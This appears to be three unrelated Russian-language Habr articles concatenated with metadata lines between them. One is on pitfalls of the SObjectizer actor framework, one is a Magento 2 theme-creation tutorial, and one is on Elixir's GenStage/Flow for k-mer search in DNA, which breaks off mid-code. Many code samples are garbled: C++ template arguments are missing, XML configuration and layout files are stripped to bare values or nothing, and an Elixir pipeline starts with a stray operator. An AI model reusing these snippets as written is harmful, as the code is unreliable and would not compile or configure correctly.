Завершаем рассказ, начатый [в первой части](https://habrahabr.ru/post/324420/). Сегодня рассмотрим еще несколько граблей, на которые довелось наступить за годы использования [SObjectizer](https://sourceforge.net/projects/sobjectizer/)-а в повседневной работе.
Продолжаем перечислять грабли
=============================
Народ хочет синхронности...
---------------------------
Акторы в Модели Акторов и агенты у нас в SObjectizer общаются посредством асинхронных сообщений. И в этом кроется одна из причин привлекательности Модели Акторов для некоторых типов задач. Казалось бы, асинхронность — это один из краеугольных камней, один из бонусов, поэтому пользуйся себе на здоровье и получай удовольствие.
Ан нет. На практике быстро начались просьбы сделать в SObjectizer возможность синхронного взаимодействия агентов. Очень долго я этим просьбам сопротивлялся. Но в конце-концов сдался. Пришлось добавить в SObjectizer [возможность выполнить синхронный запрос от одного агента к другому](https://sourceforge.net/p/sobjectizer/wiki/so-5.5%20In-depth%20-%20Synchronous%20Interaction/).
Выглядит в коде это вот так:
```
// Тип запроса.
struct get_messages final : public so_5::signal_t {};
...
// Инициация синхронного запроса...
auto msgs = request_value, get\_messages>(mbox, so\_5::infinite\_wait);
// ...обработка его результатов.
for(const auto & m : msgs) ...
```
Здесь показан вызов функции request\_value, которая выполняет синхронный запрос, приостанавливая выполнение текущей нити до того момента, пока результат запроса будет получен.
В данном случае мы отсылаем запрос типа get\_messages дабы получить в ответ вектор объектов message. И ждать ответа мы будем без ограничения времени.
Однако, в SObjectizer-е реализовано это все-таки через сообщение. Внутри request\_value отсылается сообщение целевому агенту, который получает и обрабатывает его обычным образом. Т.е. получатель даже не знает, что к нему пришел синхронный запрос, для него все выглядит как обычное асинхронное сообщение.
```
class collector : public so_5::agent_t {
public :
...
virtual void so_define_agent() override {
// Подписываемся на запрос.
so_subscribe(mbox).event(&collector::on\_get\_messages);
...
}
private :
std::vector collected\_messages\_;
// Обработчик запроса, вызывается при получении сигнала get\_messages.
std::vector on\_get\_messages() {
std::vector r;
std::swap(r, collected\_messages\_);
return r;
}
};
```
Т.е. внутри collector::on\_get\_messages агент-получатель сообщения не может определить, получил ли он get\_messages в виде обычного асинхронного сообщения или же это часть синхронного запроса.
А вот под капотом упрятана не очень сложная механика, построенная на основе std::promise и std::future из стандартной библиотеки C++11.
Во-первых, при отсылке синхронного запроса к получателю приходит не обычное сообщение, а хитрое, вместе с объектом std::promise внутри:
```
struct special_message : public so_5::message_t {
std::promise> promise\_;
...
};
```
Это сообщение попадает в специальный обработчик, который генерируется автоматически SObjectizer-ом при подписке:
```
collector * collector_agent = ...;
auto actual_message_handler = [collector_agent](special_message & cmd) {
try {
cmd.promise_.set_value(collector_agent->on_get_messages());
}
catch(...) {
cmd.promise_.set_exception(std::current_exception());
}
};
do_special_subscribe(mbox, actual\_message\_handler);
```
Этот хитрый обработчик вызывает заданный пользователем обработчик сообщения, после чего сохраняет возвращенное значение (или выпущенное наружу исключение) в объект std::promise из хитрого сообщения. Это приведет к срабатыванию std::future, на котором спит отправитель запроса. Соответственно, произойдет возврат из request\_value.
Очевидно, что синхронное взаимодействие между агентами — это прямой путь к получению дедлоков. Поэтому request\_value в SObjectizer есть, но мы рекомендуем использовать его с большой осторожностью.
Самое забавное лично для меня оказалось в том, что очень быстро нашлось полезное применение для request\_value. Как раз в механизмах защиты агентов от перегрузки. Если эта защита делается посредством пары collector/performer, то performer-у удобно обращаться за следующей порцией сообщений именно через request\_value. А так как агенты collector и performer в принципе должны работать на разных нитях, то опасность получить тут дедлок сведена к минимуму.
Мораль сей истории такова: строгая приверженность принципам какой-то теоретической модели — это хорошо. Но если на практике вас настоятельно просят сделать что-то, что вступает в противоречие с этими самыми принципами, то имеет смысл прислушаться. Может получится что-нибудь полезное.
Распределенность из коробки: все не так радужно
-----------------------------------------------
В SObjectizer-4 разработчику «из коробки» была доступна возможность создания распределенных приложений. У нас был свой протокол поверх TCP/IP, свой способ сериализации C++ных структур данных.
С одной стороны, это было очень классно и прикольно. С помощью несложных телодвижений можно было заставить сообщения автоматически летать между узлами, на которых работали части распределенного приложения. SObjectizer брал на себя сериализацию и десериализацию данных, контроль транспортных каналов, переподключения при разрывах и т.д.
В общем, по началу все было круто.
Но с течением времени, по мере того, как расширялся круг решаемых на SObjectizer-е задач, по мере роста нагрузки на приложения, мы поимели довольно много неприятностей:
* во-первых, под каждый тип задачи желательно иметь свой протокол. Потому что, скажем, распространение телеметрии, т.е. обмен большим количеством мелких сообщений, потеря части которых не страшна, сильно отличается от обмена большими бинарными файлами. Например, приложение, где нужно обмениваться большими архивами или кусками видеофайлов, должно использовать какой-то другой протокол, нежели приложение, в котором передаются тысячи сообщений с датчиков текущей температуры воздуха;
* во-вторых, реализация back-pressure для асинхронных агентов — это сама по себе непростая штука. А когда сюда еще и примешивается общение по сети, ситуация становится гораздо хуже. Какие-нибудь задержки в сети или притормаживание на одном из узлов приводит к накоплению больших объемов недоставленных сообщений на остальных узлах и это изрядно портит жизнь;
* в-третьих, времена, когда большие распределенные системы можно было писать только на одном C++, закончились давным-давно. Сегодня обязательно какие-то компоненты будут написаны на других языках программирования. А это означает, что требуется интероперабильность. Что автоматически ведет к тому, что наш собственный протокол, заточенный под C++ и SObjectizer, не помогает, а мешает разработке распределенных приложений.
Поэтому в SObjectizer-5 нет инструментов для поддержки распределенности. Мы больше смотрим в сторону того, чтобы облегчить агентам общение с внешним миром посредством де-факто стандартных протоколов. Это лучше, чем изобретение собственных велосипедов.
Много агентов – это проблема, а не решение. SEDA-вэй форева!
------------------------------------------------------------
Ну а эта тема очень сильно нравится лично мне. Ибо лишний раз подчеркивают, что маркетинг и здравый смысл могут противоречить друг другу :)
Практически все акторные фреймворки в своих маркетинговых материалах обязательно говорят о том, что акторы — это легковесные сущности и в приложении можно создать хоть сто тысяч акторов, хоть миллион, хоть десять миллионов акторов.
Когда неподготовленный программист сталкивается с возможностью создать в программе миллион акторов, у него может слегка снести крышу. Это ведь так заманчиво — оформить каждую активность внутри приложения в виде актора.
Программист поддается такому соблазну, начинает создавать акторов на каждый чих и вскоре обнаруживает, что у него в программе одновременно работают десятки тысяч, а то и сотни тысяч акторов… Что может приводить к возникновению, как минимум, одной из двух проблем.
### Что творится внутри приложения с миллионом акторов?
Первая проблема, с которой можно столкнуться создавая большое количество акторов — это непонимание того, что происходит в программе, почему программа работает именно так и как программа поведет себя дальше.
Происходит то, что я называю эффектом птичьей стаи: поведение отдельной птицы в стае может быть описано набором из нескольких простых правил, конфигурация же всей стаи оказывается сложной и практически непредсказуемой.
Точно так же и в приложении с большим количеством агентов. Каждый агент может работать по простым и понятным правилам, а вот поведение всего приложения может оказаться сложнопредсказуемым.
Например, часть агентов вдруг перестанет подавать признаки жизни. Вроде как они есть, а их работы не видно. А потом вдруг они «проснутся» и начнут работать так активно, что не хватит ресурсов другим агентам.
Вообще, следить за тем, что происходит внутри приложения с десятью тысячами агентов гораздо сложнее, чем в приложении, где работает всего сто агентов. Представьте себе, что у вас десять тысяч агентов и вам захотелось узнать, насколько сильно загружен один из них. Думаю, это уже будет проблема.
Кстати говоря, одна из киллер-фич Erlang-а как раз в том, что Erlang предоставляет инструментарий для интроспекции. Разработчик хотя бы может посмотреть, что у него внутри Erlang-овой виртуальной машины происходит. Сколько процессов, сколько жрет каждый из процессов, какие размеры очередей и т.д. Но в Erlang-е своя виртуальная машина и там это возможно.
Если мы говорим о C++, то C++ные фреймворки, насколько я знаю, в этой области очень сильно отстают от Erlang-а. С одной стороны это объективно. Все-таки C++ компилируется в нативный код и мониторить куски нативного кода гораздо сложнее. С другой стороны, реализация такого мониторинга — это задача нетривиальная, требующая изрядных трудозатрат и вложений. Поэтому сложно ожидать продвинутых возможностей в OpenSource-фреймворках, которые разрабатываются лишь на чистом энтузиазме.
Так что создавая в C++ном приложении большое количество агентов и не имея таких же продвинутых инструментов мониторинга, как в Erlang-е, следить за приложением и понимать, что и как там работает, сложно.
### Внезапные всплески активности
Вторая возможная проблема — это внезапные всплески активности, когда часть ваших акторов вдруг начинает потреблять все имеющиеся в наличии ресурсы.
Представьте себе, что у вас в приложении 100 тысяч агентов. Каждый из них инициирует какую-то операцию и взводит таймер для контроля тайм-аута выполнения операции.
Допустим, какой-то кусок приложения начал подтормаживать, ранее начатые операции стали отваливаться по тайм-ауту и отложенные сообщения об истечении тайм-аутов стали приходить пачками. Например, в течении 2-х секунд сработало 10 тысяч таймеров. Это означает вызов 10 тысяч обработчиков отложенных сообщений.
И вот тут может оказаться, что каждый такой обработчик почему-то тратит по 10ms. Значит, на обработку всех 10 тысяч отложенных сообщений уйдет 100 секунд. Пусть даже эти сообщения будут обрабатываться в четыре параллельных потока. Но это все равно 25 секунд.
Получится, что часть нашего приложения на эти 25 секунд тупо замрет. И пока не обработает эти самые 10 тысяч отложенных сообщений, ни на что другое реагировать не будет.
### Беда не приходит одна...
Самое печальное в том, что обе вышеперечисленные проблемы прекрасно накладываются друг на друга. Из-за внезапного всплеска активности мы сталкиваемся со незапланированным поведением своего приложения, а из-за эффекта птичьей стаи мы не можем понять, что же происходит. Приложение вроде как работает, но как-то не так. И непонятно, что с этим делать. Можно, конечно, тупо прибить приложение и рестартовать его. Но это означает пересоздание 100 тысяч агентов, восстановление их в каком-то состоянии, возобновление подключений к каким-то внешним сервисам и т.д. Безболезненно такой рестарт, к сожалению, не обойдется.
Так что к возможности создать в своем приложении кучу агентов следует относиться не как к способу решения своих проблем. А как к способу нажить себе еще больше проблем.
Выход, естественно, прост: нужно обходиться меньшим количеством агентов. Но как это сделать?
### Подход SEDA
Очень хорошо вставляет на место мозги знакомство с подходом [SEDA (Staged Event-Driven Architecture)](https://en.wikipedia.org/wiki/Staged_event-driven_architecture). В начале 2000-х маленькая группа исследователей разработала одноименный фреймворк на Java и с его помощью доказала состоятельность положенной в основу идеи: разбить выполнение сложных операций на стадии, под каждую стадию выделить свой поток выполнения (или группу потоков), а взаимодействие между стадиями организовать через асинхронные очереди сообщений.
Представим себе, что нам нужно обслужить платежный запрос. Мы получаем запрос, проверяем его параметры, затем проверяем возможность проведения платежа для данного клиента (например, не превысил ли он суточные лимиты по своим платежам), затем оцениваем рискованность платежа (например, если клиент из Белоруссии, а платеж почему-то инициируется из Бангладеш, то это подозрительно), затем уже производим списание средств и формируем результат платежа. Тут можно явно увидеть несколько стадий обработки одной операции.
Возможность создать в приложении миллион агентов толкает нас к тому, чтобы на каждый платеж создавать одного агента, который сам, последовательно бы выполнял все стадии. Т.е. сам бы валидировал параметры платежа, сам бы определял суточные лимиты и их превышение, сам бы делал запросы в систему фрод-мониторинга и т.д. Схематично это могло бы выглядеть вот так:
В случае же SEDA-подхода мы могли бы сделать по одному агенту на каждую стадию. Один агент принимает платежные запросы от клиентов и передает их второму агенту. Второй агент проверяет параметры запросов и отдает валидные запросы третьему агенту. Третий агент проверяет лимиты и т.д. Схематично это выглядит вот так:
Количество агентов сокращается на порядки. Контролировать этих агентов становится намного проще. Значительно упрощается защита таких агентов от перегрузок. Эти агенты, если они работают с СУБД, получают возможность использовать bulk-операции. Т.е. агент накапливает, скажем, 1000 сообщений, затем обслуживает их все 2-3 bulk-обращениями к БД. У нас появляется возможность дозировать активность агентов. Например, если внешная система фрод-мониторинга вдруг отваливается и нам нужно сгенерировать 10 тысяч отрицательных ответов, то мы может не сразу отослать все эти 10 тысяч ответов, а размазать их равномерно, скажем, на десять секунд. Тем самым мы защитим от перегрузки другие части системы.
Дополнительный бонус: если всего один агент обслуживает какую-то стадию, то значительно упрощается задача приоритизации обработки транзакций на этой стадии. Например, если нужно транзакции от находящихся в он-лайне клиентов обрабатывать с большим приоритетом, чем транзакции, выполняемые по расписанию. В случае SEDA-подхода это реализуется проще, чем когда за каждую транзакцию отвечает свой, агент.
При этом даже в рамках SEDA-подхода мы все так же пользуемся преимуществами, которые дает нам Модель Акторов. Но ограничиваемся буквально несколькими десятками акторов, вместо десятков тысяч.
Заключение
==========
В заключение хочется сказать, что Модель Акторов — это классная шутка, но совсем не серебряная пуля. В каких-то задачах Модель Акторов работает хорошо, в каких-то не очень, в каких-то совсем не работает.
Но даже если Модель Акторов подходит под задачу, то все равно очень бы не помешала парочка вещей:
* во-первых, сам разработчик должен иметь голову на плечах. Если же разработчик бездумно создает сотни тысяч акторов в своем приложении, не думает о проблеме перегрузки, не имеет представления о том, что такое спонтанный всплеск активности и т.д., то и с Моделью Акторов можно нажить себе не меньше неприятностей, чем на «голых» нитях;
* во-вторых, было бы хорошо, чтобы акторный фреймворк оказывал разработчику посильную помощь. В частности, в таких вещах, как защита акторов от перегрузки, обработке ошибок и интроспекции происходящего внутри приложения. Как раз поэтому мы постепенно расширяем функциональность SObjectizer-а в этом направлении. Мы уже добавили такие вещи, как лимиты для сообщений, реакцию на исключения, сбор статистики и мониторинговой информации, а также средства для трассировки механизма доставки сообщений.
Кстати говоря, как раз набор подобных вспомогательных инструментов в акторном фреймворке, на мой взгляд, является некоторым признаком, который определяет зрелость фреймворка. Ибо реализовать в своем фреймворке какую-то идею и показать ее работоспособность — это не так уж и сложно. Можно потратить несколько месяцев труда и получить вполне себе работающий и интересный инструмент. Это все делается на чистом энтузиазме. Буквально: понравилась идея, захотел и сделал.
А вот оснащение того, что получилось, всякими вспомогательными средствами, вроде сбора статистики или трассировки сообщений — это уже скучная рутина, на которую не так то и просто найти время и желание.
Поэтому мой совет тем, кто ищет готовый акторный фреймворк: обратите внимание не только на оригинальность идей и красоту примеров. Посмотрите также на всякие вспомогательные вещи, которые помогут вам разобраться, что же происходит в вашем приложении: например, узнать, сколько сейчас внутри акторов вообще, какие у них размеры очередей, если сообщение не доходит до получателя, то куда оно девается… Если фреймворк что-то подобное предоставляет, то вам же будет проще. Если не предоставляет, то значит у вас будет больше работы.
Ну и добавлю от себя: если вам захотелось взять и сделать с нуля свой собственный акторный фреймворк, который бы защищал разработчика от обсуждавщихся выше граблей, то это не самая хорошая идея. Занятие абсолютно неблагодарное. Да и вряд ли окупаемое. Это уже проверено. На людях. | https://habr.com/ru/post/324978/ | null | ru | null |
# Как создать тему для Magento 2 с нуля
Здравствуйте, уважаемые хабрапользователи! В этой публикации хочу описать процесс создания темы для Magento 2 с нуля. Magento 2 имеет достаточно большое количество нововведений и улучшений по сравнению с первой версией. По большей части они относятся к клиентской части.
Вот некоторые из них:
1. Полная поддержка HTML5 и CSS3;
2. Встроенный препроцессор [LESS](https://github.com/oyejorge/less.php);
3. Асинхронная загрузка модулей с помощью RequireJS (без ручного добавления скриптов в cекцию head);
4. jQuery/jQuery UI вместо библиотеки Prototype;
5. Magento UI библиотека (набор компонентов для простого и гибкого рендеринга пользовательского интерфейса).
Самое интересное – под катом!
Касательно разработки тем, в Magento 2 была введена новая модульная структура кода. Теперь все статические сss, js, а также файлы изображений размещаются в папке web темы, а папка skin была удалена с корневого каталога Magento. Кроме этого, была введена папка view в модулях, которая хранит шаблоны и файлы, которые относятся к уровню представления MVC конкретно для каждого модуля.
Следует создать новую тему и более детально рассмотреть структуру директорий и файлов. Поехали!
### Создание директории темы
Темы в Magento 2 находятся в каталоге (M2\_root)/app/design/frontend. Сначала необходимо создать папку Vendor (называлась Package в Magento 1) и уже в ней создать папку для темы.
Например: (M2\_root)/app/design/frontend/Singree/walkbeyond. Где Singree – vendor, а walkbeyond – код темы. В коде можно использовать любые комбинации из букв и цифр.
После создания этих директорий тему необходимо объявить, чтобы ее можно было сделать активной в административной части.
### Объявление и регистрация
Чтобы Magento 2 смогла увидеть созданную тему, необходимо создать файл: (M2\_root)/app/design/frontend/(vendor)/(theme codename)/theme.xml с таким содержанием:
```
walkbeyond
Magento/blank
media/walkbeyond.jpg
```
В теге title указывается название темы. В parent указывается тема, которая устанавливается как родительская (все ненайденные статические файлы/файлы шаблонов будут браться с родительской темы). В примере указывается blank, которая поставляется вместе с M2. Она является базовой и своей родительской не имеет. Тем не менее, уровней наследования в Magento 2 может быть сколько угодно, и здесь нет никаких ограничений в отличие от первой версии.
В теге preview\_image указывается миниатюра для представления темы в администраторской части.
Для регистрации темы в системе необходимо создать файл registration.php в корне:
```
php
\Magento\Framework\Component\ComponentRegistrar::register(
\Magento\Framework\Component\ComponentRegistrar::THEME,
'frontend/Singree/walkbeyond',
__DIR__
);
</code
```
Необязательно, но можно создать файл composer.json для распространения темы как пакета composer. Пример файла:
```
{
"name": "Singree/walkbeyond",
"description": "N/A",
"require": {
"php": "~5.5.0|~5.6.0|~7.0.0",
"magento/theme-frontend-blank": "100.0.*",
"magento/framework": "100.0.*"
},
"type": "magento2-theme",
"version": "100.0.1",
"license": [
"OSL-3.0",
"AFL-3.0"
],
"autoload": {
"files": [
"registration.php"
]
}
}
```
### Создание директорий для статических файлов
Для хранения стилей, javascript скриптов, изображений и шрифтов необходимо создать папку web в корневом каталоге темы. Структура папок следующая:
```
app/design/frontend/Singree/walkbeyond/
├── web/
│ ├── css/
│ │ ├── source/
│ ├── fonts/
│ ├── images/
│ ├── js/
```
Отметим, что все эти папки являются необязательными.
В папке images находятся все статические файлы темы, сюда же можно добавить logo.svg (имя по умолчанию) для переопределения логотипа темы. В папке сss/source, согласно родительской теме blank, можно создать \_theme.less файл c переопределением базовых переменных Magento UI. В папке (M2\_root)/lib/web/css/source/lib/variables/ в исходных файлах можно найти значения по умолчанию для тех переменных, которые можно переопределить. В сss/source можно задавать стили для модулей в файле \_module.less и для виджетов в файле \_widgets.less. Для небольших правок можно создавать файл \_extend.less.
### Конфигурация изображений
Обязательным для темы является файл etc/view.xml (если он не определен в родительской теме), который содержит значения свойств для изображений товаров, таких как высота, ширина, прозрачность, цвет фона и т.п. Этот файл необходимо полностью скопировать с базовой темы (значения не наследуются) Свойства изображений задаются по атрибутам идентификатора и типа в рамках элемента:
```
...
```
Для примера можно изменить размер изображения в табличном представлении товаров каталога.
Файл etc/view.xml:
```
xml version="1.0"?
200
200
...
...
```
Идентификатор category\_page\_grid – уникальный в рамках темы. Тип small\_image соответствует Small Image Role в администраторской части. Допустимые значения типов изображений: image, small\_image, swatch\_image, swatch\_thumb и thumbnail.
После сохранения товара, все изображения являются закешированными. После изменения размеров можно выполнить команду php (M2\_root)/bin/magento catalog:images:resize для регенерации картинок.
В результате была получена такая структура:
### Применение темы в административной части
Тему можно активировать в настройках магазина после создания в файловой системе. Для этого переходим в раздел Content — Design — Themes и проверяем, что созданная тема присутствует в списке:
Если мы видим созданную тему в списке, переходим в Content → Design → Configuration и там нажимаем edit для определенного вебсайта или выбранного магазина:
Выбираем тему (Applied Theme) и нажимаем Save configuration:
Если у вас включен кеш, необходимо очистить его после применения темы. Для этого перейдем в раздел System — Cache Management и обновляем все невалидные типы кеша:
В результате, мы получим все ту же тему magento/blank, но с другим логотипом и размером картинок:
### Использование LESS для изменения стилей
После создания темы можно приступить к изменению внешнего вида страниц. Чтобы отредактировать стили проекта, необходимо использовать один из нескольких типов препроцессинга LESS в Magento 2:
* Серверная компиляция LESS;
* Клиентская компиляция LESS c помощью less.js.
Клиентская компиляция чаще используется в режиме разработки, так как все изменения будут видны сразу: браузер будет выполнять компиляцию каждый раз при обращении к файлам стилей. При серверной компиляции необходимо вручную каждый раз удалять содержимое папок pub/static и var/view\_preprocessed. Эти действия можно оптимизировать с помощью таскраннера Grunt. Он будет отслеживать изменения в файлах, очищать указанные папки и компилировать less автоматически.
Изменить тип компиляции можно в админ части по пути: Stores → Configuration → Advanced → Developer → Front-end development workflow → Workflow:
В нашем простом примере будет использоваться серверная компиляция, которая установлена по умолчанию. Установим цвет фона сайта, а также шрифт в созданном \_theme.less файле:
```
@page__background-color: #484848;
@text__color: #fff;
@font-family__base: 'Arial', sans-serif;
```
После удаления содержимого директорий /pub/static/frontend/Singree/walkbeyond/en\_US и var/view\_preprocessed, мы можем увидеть изменение внешнего вида сайта:
### Magento 2: использование макетов в теме
В Magento 2 в определенной теме можно как расширять, так и переопределять макеты. Чтобы полностью не копировать страничные или общие макеты с базовой темы, необходимо указать только макет расширения в папке темы по таким путям:
```
|\_\_/\_
|\_\_/layout
|--.xml
|--.xml
```
Например, чтобы расширить макет catalog\_category\_view модуля Catalog, который находится по пути (сatalog\_module\_dir)/view/frontend/layout/catalog\_category\_view.xml, необходимо создать файл по пути: (theme\_dir)/Magento\_Catalog/layout/catalog\_category\_view.xml
Удалить какой-либо блок (например, описание категории) можно так:
```
xml version="1.0"?
```
Не все задачи кастомизации можно выполнить расширением макета. Если количество изменений крайне велико, лучше переопределить макет. То есть этот новый файл будет использован вместо файла с родительской темы (или основного макета).
Примеры кастомизации макетов, которые подразумевают переопределение макета:
* Вызов метода, который подавляет другой метод родительского макета (Если есть метод, который отменяет действие определенно метода родительского макета, то можно его вызвать и не переопределять весь макет);
* Изменение количества аргументов метода;
* Отмена удаления блока/контейнера, используя remove атрибут;
* Установка XML атрибутов блоков/контейнеров (некоторые атрибуты, такие как htmlClass, htmlId, label могут быть изменены в расширяющих макетах);
* Удаление аргументов блоков;
* Удаление всех дескрипторов путем переопределения макетного файла с пустым дескриптором;
* Модифицирование включения дескрипторов.
Можно переопределить основные базовые макеты путем создания папки override/base в папке модуля темы:
```
|\_\_/
|\_\_/layout
|\_\_/override
|\_\_/base
|--.xml
|--.xml
```
Эти файлы будут переопределять макеты:
```
/view/frontend/layout/.xml
```
```
/view/frontend/layout/.xml
```
Также можно переопределить макеты родительской темы, создав папку override/theme в папке модуля темы:
```
|\_\_/
|\_\_/layout
|\_\_/override
|\_\_/theme
|\_\_/
|\_\_/
|--.xml
|--.xml
```
Эти файлы будут переопределять макеты, которые находятся по таким путям:
```
/\_/layout/.xml
/\_/layout/.xml
```
### Шаблоны темы
В темах Magento 2 возможно полностью переопределять шаблоны модулей, как и в случае с макетами. Для переопределения шаблонов модуля (module\_dir)/view/frontend/templates/(path\_to\_templates), необходимо создать папку templates в папке модуля темы (theme\_dir)/(Namespace)\_(Module)/templates/(path\_to\_templates).
Например, можно в файле мини-корзины Singree/walkbeyond/Magento\_Checkout/templates/cart/minicart.html добавить текстовое сообщение для вывода «Количество товаров»:
```
[php /\* @escapeNotVerified \*/ echo \_\_('Shopping cart'); ?
php /\* @escapeNotVerified \*/ echo \_\_('Products count:'); ?](<?php /* @escapeNotVerified */ echo $block->getShoppingCartUrl(); ?>)
php if ($block-getIsNeedToDisplaySideBar()): ?>
php endif ?
window.checkout = <?php /\* @escapeNotVerified \*/ echo \Zend\_Json::encode($block->getConfig()); ?>;
{
"[data-block='minicart']": {
"Magento\_Ui/js/core/app": <?php /\* @escapeNotVerified \*/ echo $block->getJsLayout();?>
},
"\*": {
"Magento\_Ui/js/block-loader": "<?php /\* @escapeNotVerified \*/ echo $block->getViewFileUrl('images/loader-1.gif'); ?>"
}
}
```
### Локализация темы
Перевод темы осуществляется с помощью словарей перевода. Словари с переводами ищутся в таких локациях:
* /i18n/ (идет просмотр во всех родительских темах)
* /i18n/
Папка i18n может находиться в каждом модуле или глобально в папке app. Словари с папками темы имеют более высокий приоритет в поиске переведенной строки.
Чтобы сгенерировать файл с переводами в папке темы можно использовать [i18n tool](http://devdocs.magento.com/guides/v2.0/config-guide/cli/config-cli-subcommands-i18n.html#config-cli-subcommands-xlate-dict).
Можно запустить такую команду в корневом каталоге magento 2:
```
php bin/magento i18n:collect-phrases --output="app/design/frontend/Singree/walkbeyond/i18n/en_US.csv" app/design/frontend/Singree/walkbeyond
```
Она соберет все строки в словарь. Далее файл словаря: app/design/frontend/Singree/walkbeyond/i18n/en\_US.csv. Его можно открыть любым редактором таблиц и изменить перевод любых строк в правой колонке. Переведённые строки, вместо основных, можно будет увидеть после применения темы.
### Удаление темы
Если тема является Composer пакетом, ее можно удалить командой (с корневого каталога):
```
php bin/magento theme:uninstall [-c|--clear-static-content] {theme path} ... {theme path}
```
{theme path} – относительный путь к теме, начиная с имя area (frontend). В нашем случае: frontend/Singree/walkbeyond.
--clear-static-content – удаляет статические файлы (для которых не нужна автоматическая генерация: css, js, images).
В случае, если тема не является Сomposer пакетом, для ее удаления необходимо выполнить такие шаги:
* Удалить папку темы app/design/frontend/(Vendor);
* Удалить содержимое var/view\_preprocessed;
* Удалить содержимое of pub/static/frontend/;
* Открыть базу данных мадженто 2, найти theme таблицу и удалить строку с названием темы;
* Удалить кеш командой php bin/magento cache:flush.
### Вывод
В статье были рассмотрены основные составляющие части темы: как создать с нуля структуру директорий и файлов темы, картинку предпросмотра. Также был рассмотрен процесс переопределения стилей, макетов и шаблонов темы: был переведен сайт с помощью словарей перевода. Далее следует рассмотреть таблицу составляющих темы:
Большая часть данной структуры была затронута в нашей статье. Также стоило бы упомянуть о правилах работы с клиентскими библиотеками Javascript (например, require.js) или детальнее описать работу с блоками и контейнерами макетов, но тогда размер статьи слишком увеличился бы и читать ее стало бы совершенно неудобно.
Благодарю всех за внимание! | https://habr.com/ru/post/311350/ | null | ru | null |
# Elixir в биоинформатике
В этой статье я расскажу о своей попытке использования библиотеки [GenStage](https://hexdocs.pm/gen_stage/Experimental.GenStage.html), а в частности модуля [Flow](https://hexdocs.pm/gen_stage/Experimental.Flow.html#content), для реализации одного из алгоритмов биоинформатики. На протяжении последних двух лет я занимался разработкой комплексной системы хранения и поиска результатов метагеномного анализа ([метагеномика](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%B0%D0%B3%D0%B5%D0%BD%D0%BE%D0%BC%D0%B8%D0%BA%D0%B0)) углеводородного сырья. Наверное, для многих это китайская грамота. Фактически такой анализ означает выявление всех типов микроорганизмов, обитающих, к примеру, в залежах нефти. Некоторые из этих микроорганизмов, преимущественно бактерии, способны разъедать стальные трубы и создавать множество других неблагоприятных эффектов.
Первый этап метагеномного анализа – секвенирование генома нескольких тысяч особей, найденных в углеводородном сырье. Так как в результате секвенирования «считывается» не весь геном, а только отдельные его участки, то определить, какой особи принадлежит тот или иной участок – вычислительно сложная задача.
Что касается компьютерной реализации, анализ заключается в передаче исходных данных, так называемых азотистых оснований (A, T, U, C, и G), в цепочку процессов. Одной из известных программ для решения этой задачи является [Qiime](http://qiime.org/) (читается «чайм»). Она состоит из множества связанных друг с другом приложений, написанных на Python. Сначала я разработал свой фреймворк потоковой обработки данных для Elixir, но, как только появился GenStage, мне стало интересно оценить его возможности в проведении исследований подобного рода.
Переход на GenStage
-------------------
Вместо того, чтобы пытаться переписать Qiime на Elixir (задание не из самых простых) я решил начать с малого, а именно выяснить, каким образом можно реализовать на Elixir простейшие алгоритмы биоинформатики и как пользоваться преимуществами параллельного исполнения GenStage (возможно, он сработает быстрее). С этой целью я прошёл замечательный онлайн-курс на сайте Coursera под названием [«Находим скрытые в ДНК сообщения (Биоинформатика I)»](https://www.coursera.org/learn/dna-analysis), в котором описываются задачи биоинформатики и пути их решения. Для их реализации можно выбрать любой язык программирования.
Одна из таких задач – поиск повторяющихся участков генома. Определим условие задачи. k-мер – это последовательность из k нуклеотидов, например, CTGGAT – это 6-мер. Дана последовательность, которая может состоять из миллионов нуклеотидов. Требуется найти k-меры, появляющиеся в ней неоднократно. Вместо прочёсывания всей последовательности, обратим внимание на k-меры, содержащиеся в отдельных её частях. В частности, в последовательности из 1500 нуклеотидов, k-меры будем искать только на участке из 500 нуклеотидов.
### Пример из онлайн-курса
> **Дано:** CGGACTCGACAGATGTGAAGAACGACAATGTGAAGACTCGACACGACAGAGTGAAGAGAAGAGGAAACATTGTAA
>
> **Задание:** Найти 5-мер, присутствующий хотя бы 4 раза на участке из 50 нуклеотидов.
>
> **Решение:** CGACA GAAGA
Алгоритм перебирает последовательность, вычленяя из неё определённый участок, после чего перебирает этот участок, вычленяя k-меры и подсчитывая среди них количество уникальных. В обоих случаях перебор происходит в каждом азотистом основании отдельно. В результате получаем k-меры, которые встречаются указанное количество раз.
Почему используется именно этот алгоритм? Дело в том, что определённые последовательности нуклеотидов в геноме живого организма имеют особое значение. Например, у бактерий такие последовательности указывают на точки начала и окончания репликации молекулы ДНК.
Реализация
----------
А вот и моя реализация приведённого алгоритма с использованием модуля Flow из GenStage:
```
defmodule Bio do
alias Experimental.Flow
def clump(seq, k_mer_len, subseq_len, times) do
|> seq
|> String.to_charlist
|> Stream.chunk(subseq_len, 1)
|> Flow.from_enumerable
|> Flow.partition
|> Flow.map(fn e -> Stream.chunk(e, k_mer_len, 1) end)
|> Flow.map(
fn e ->
Enum.reduce(e, %{},
fn w, acc ->
Map.update(acc, w, 1, & &1 + 1)
end)
end)
|> Flow.flat_map(
fn e ->
Enum.reject(e, fn({_, n}) -> n < times end)
end)
|> Flow.map(fn({seq, _}) -> seq end)
|> Enum.uniq
end
end
```
Может, и не идеально, но код работает. Рассмотрев его подробнее, можно выделить следующие действия.
1. Последовательности нуклеотидов записываются в поток данных Flow.
2. Далее туда же помещаются k-меры, подсчитывается количество их повторений, и это значение записывается в поле Map.
3. Удаляются те элементы (k-меры), которые появляются меньше необходимого количества раз.
4. И, напоследок, вызывается функция `Enum.uniq`, которая отсеивает повторяющиеся элементы (важно не то, сколько раз появилась последовательность, а то, что она встретилась определённое количество раз).
Обратите внимание на то, что я использую функцию `Stream.chunk/4`. Эта функция реализована в модулях Enum и Stream, но в Flow её нет. Будучи в замешательстве по поводу того, нужна ли отдельная реализация функции `chunk` для модуля Flow, я отправил этот вопрос в список рассылки Elixir. Создатель языка, Жозе Валим, любезно на него ответил, и более того, предоставил улучшенную реализацию функции `clump` (см. ниже)!
Важно отметить, что, по его словам, пользоваться Flow необходимо с осторожностью, особенно если существует необходимость в сохранении изначальной последовательности данных, ведь неизвестно, когда именно какой-нибудь из параллельных процессов завершится и возвратит результат. Как оказалось, приведённый алгоритм поиска не требует сохранения изначальной последовательности данных. Ещё Жозе отметил, что нет необходимости в вызове `Flow.partition`, так как в данном алгоритме секционирование данных не происходит.
Реализация функции от Жозе:
```
def clump(seq, k_mer_len, subseq_len, times) do
seq
